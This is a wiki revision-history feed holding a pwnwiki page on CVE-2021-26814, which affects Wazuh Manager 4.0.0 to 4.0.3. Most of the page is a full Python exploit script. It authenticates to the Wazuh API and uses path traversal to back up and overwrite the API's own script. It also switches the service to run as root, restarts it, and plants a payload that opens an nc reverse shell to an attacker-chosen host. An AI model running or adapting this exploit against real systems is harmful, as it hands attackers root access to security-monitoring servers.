<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26814_Wazuh_Manager_%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-26814 Wazuh Manager 代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26814_Wazuh_Manager_%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26814_Wazuh_Manager_%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T11:33:26Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-26814_Wazuh_Manager_%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3037&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==影響版本== &lt;pre&gt; Wazuh Manager v.4.0.0-4.0.3 &lt;/pre&gt;  ==POC== &lt;pre&gt; # Exploit Title: Wazuh 4.0.3 API RCE # Author: WickdDavid (Davide Meacci) # Date: 2021-01-01 # Vendor...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26814_Wazuh_Manager_%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3037&amp;oldid=prev"/>
		<updated>2021-05-22T02:23:23Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==影響版本== &amp;lt;pre&amp;gt; Wazuh Manager v.4.0.0-4.0.3 &amp;lt;/pre&amp;gt;  ==POC== &amp;lt;pre&amp;gt; # Exploit Title: Wazuh 4.0.3 API RCE # Author: WickdDavid (Davide Meacci) # Date: 2021-01-01 # Vendor...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==影響版本==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Wazuh Manager v.4.0.0-4.0.3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Wazuh 4.0.3 API RCE&lt;br /&gt;
# Author: WickdDavid (Davide Meacci)&lt;br /&gt;
# Date: 2021-01-01&lt;br /&gt;
# Vendor Homepage: https://github.com/wazuh/wazuh&lt;br /&gt;
# Version : 4.0.3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import argparse&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
from urllib3.exceptions import InsecureRequestWarning&lt;br /&gt;
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
parser = argparse.ArgumentParser(description='Wazuh-manager authenticated RCE by WickdDavid')&lt;br /&gt;
parser.add_argument('-user', dest='username',required=True,&lt;br /&gt;
                    help='wazuh API username')&lt;br /&gt;
parser.add_argument('-pwd', dest='password',required=True,&lt;br /&gt;
                    help='wazuh API password')&lt;br /&gt;
parser.add_argument('-lip', dest='srcip',required=True,&lt;br /&gt;
                    help='listening server')&lt;br /&gt;
parser.add_argument('-lport', dest='srcport',required=True,&lt;br /&gt;
                    help='listening port')&lt;br /&gt;
parser.add_argument('-tip', dest='destip',required=True,&lt;br /&gt;
                    help='target server ip (wazuh API)')&lt;br /&gt;
parser.add_argument('-tport', dest='destport',required=True,&lt;br /&gt;
                    help='target server port (wazuh API)')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
# executed payload may be changed here&lt;br /&gt;
&lt;br /&gt;
exec_payload = &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
import os #:l&lt;br /&gt;
os.system(&amp;quot;nc %s %s -e /bin/sh&amp;quot;) #:l&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot; % (args.srcip, args.srcport)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
config_payload = { &amp;quot;drop_privileges&amp;quot;: False }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
proxies = {&lt;br /&gt;
	&amp;quot;http&amp;quot;:&amp;quot;http://127.0.0.1:8080&amp;quot;,&lt;br /&gt;
	&amp;quot;https&amp;quot;:&amp;quot;https://127.0.0.1:8080&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
target = &amp;quot;https://%s:%s&amp;quot; % (args.destip,args.destport)&lt;br /&gt;
auth_token = &amp;quot;&amp;quot;&lt;br /&gt;
path_traversal = &amp;quot;etc/lists/../../../../..&amp;quot;&lt;br /&gt;
headers = {}&lt;br /&gt;
&lt;br /&gt;
# step 1 - obtaining auth token&lt;br /&gt;
&lt;br /&gt;
r = requests.get(&amp;quot;%s/security/user/authenticate?raw=true&amp;quot; % target, auth=(args.username, args.password),verify=False)&lt;br /&gt;
&lt;br /&gt;
if(r.status_code == 200):&lt;br /&gt;
    auth_token = r.text&lt;br /&gt;
    headers[&amp;quot;Authorization&amp;quot;] = &amp;quot;Bearer %s&amp;quot; % auth_token&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;[!] No auth code recovered. Check username and password&amp;quot;)&lt;br /&gt;
    exit(1)&lt;br /&gt;
&lt;br /&gt;
# step 2 - Privilege Escalation on API (not implemented)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# step 3 - Save files to be restored later&lt;br /&gt;
&lt;br /&gt;
file_to_overwrite = &amp;quot;/var/ossec/api/scripts/wazuh-apid.py&amp;quot;&lt;br /&gt;
print(&amp;quot;[+] Saving files to restore later...&amp;quot;)&lt;br /&gt;
r = requests.get(&amp;quot;%s/manager/files?path=%s%s&amp;quot; % (target,path_traversal,file_to_overwrite), headers = headers, verify=False)&lt;br /&gt;
f = open(&amp;quot;backup.py&amp;quot;,&amp;quot;w&amp;quot;)&lt;br /&gt;
f.write(json.loads(r.text)[&amp;quot;contents&amp;quot;])&lt;br /&gt;
f.close()&lt;br /&gt;
time.sleep(1)&lt;br /&gt;
&lt;br /&gt;
# step 4 - Local Privilege Escalation &lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Changing API config to run as root...&amp;quot;)&lt;br /&gt;
r = requests.put(&amp;quot;%s/manager/api/config&amp;quot; % target, headers = headers, json = config_payload, verify=False)&lt;br /&gt;
time.sleep(1)&lt;br /&gt;
&lt;br /&gt;
# step 5 - Restart server (now api service runs as root) &lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Restarting server...&amp;quot;)&lt;br /&gt;
r = requests.put(&amp;quot;%s/manager/restart?wait_for_complete=true&amp;quot; % target, headers = headers,verify=False)&lt;br /&gt;
#print(r.text)&lt;br /&gt;
&lt;br /&gt;
data = {&amp;quot;title&amp;quot;:&amp;quot;Bad Request&amp;quot;}&lt;br /&gt;
while &amp;quot;title&amp;quot; in data and &amp;quot;Bad request&amp;quot; in data[&amp;quot;title&amp;quot;]:&lt;br /&gt;
    time.sleep(5)&lt;br /&gt;
    try:&lt;br /&gt;
        r = requests.get(&amp;quot;%s/manager/status&amp;quot; % target, headers = headers, verify=False)&lt;br /&gt;
        #print(r.text)&lt;br /&gt;
        data = json.loads(r.text)&lt;br /&gt;
    except:&lt;br /&gt;
        continue&lt;br /&gt;
&lt;br /&gt;
# step 6 - Overwrite /var/ossec/api/scripts/wazuh-apid.py with malicious python payload&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Uploading payload...&amp;quot;)&lt;br /&gt;
r = requests.put(&amp;quot;%s/manager/files?path=%s%s&amp;amp;overwrite=true&amp;quot; % (target,path_traversal,file_to_overwrite), headers = headers, data = exec_payload, verify=False)&lt;br /&gt;
#print(r.text)&lt;br /&gt;
time.sleep(1)&lt;br /&gt;
&lt;br /&gt;
# step 7 - Restart server (now malicious payload will be run by the server)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Restarting API service for the last time...&amp;quot;)&lt;br /&gt;
r = requests.put(&amp;quot;%s/manager/restart?wait_for_complete=true&amp;quot; % target, headers = headers,verify=False)&lt;br /&gt;
#print(r.text)&lt;br /&gt;
&lt;br /&gt;
data = {&amp;quot;title&amp;quot;:&amp;quot;Bad Request&amp;quot;}&lt;br /&gt;
while &amp;quot;title&amp;quot; in data and &amp;quot;Bad request&amp;quot; in data[&amp;quot;title&amp;quot;]:&lt;br /&gt;
    time.sleep(5)&lt;br /&gt;
    try:&lt;br /&gt;
        r = requests.get(&amp;quot;%s/manager/status&amp;quot; % target, headers = headers, verify=False)&lt;br /&gt;
        #print(r.text)&lt;br /&gt;
        data = json.loads(r.text)&lt;br /&gt;
    except:&lt;br /&gt;
        continue&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Payload executed, check your shell now.&amp;quot;)&lt;br /&gt;
print(&amp;quot;[+] Remember to restore changed file (check local backup file)&amp;quot;)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Github==&lt;br /&gt;
https://github.com/WickdDavid/CVE-2021-26814&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>